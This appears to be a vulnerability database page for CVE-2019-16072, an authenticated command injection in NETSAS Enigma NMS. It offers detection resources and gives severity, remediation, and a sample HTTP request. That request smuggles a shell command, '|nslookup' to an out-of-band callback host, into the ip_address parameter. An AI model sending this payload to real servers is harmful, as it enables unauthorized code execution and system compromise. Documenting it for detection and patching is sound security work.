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CVE-2019-16072: Enigma NMS < 65.0.0 - Authenticated OS Command Injection

TitleEnigma NMS < 65.0.0 - Authenticated OS Command Injection
Author0x_Akoko
SeverityCritical
ImpactAttackers can execute arbitrary code on the server, potentially leading to full system compromise.
RemediationUpdate to the latest version of NETSAS Enigma NMS or apply security patches that fix input sanitization.
CVSS Score9.8
EPSS Score0.85675
CVE IDCVE-2019-16072
CWE IDCWE-78
Tags cve cve2019 authenticated enigma nms oast oob vkev

🔍 Vulnerability Description

An OS command injection vulnerability in the discover_and_manage CGI script in NETSAS Enigma NMS 65.0.0 and prior allows an authenticated attacker to execute arbitrary code because of improper neutralization of shell metacharacters in the ip_address variable within an snmp_browser action.

🌐 HTTP Request

GET /cgi-bin/protected/main.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Connection: close
Accept-Encoding: gzip
GET /cgi-bin/protected/discover_and_manage.cgi?action=snmp_browser&hst_id=none&snmpv3_profile_id&ip_address=|nslookup+d5jpb2ple0o41i1a4ctghbz8gpr9wdtyk.oast.site&snmp_ro_string=public&mib_oid=system&mib_oid_manual=.1.3.6.1.2.1.1&snmp_version=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Authorization: Basic UE55SkprOjVnMktHWm1x
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-16072.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-16072.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A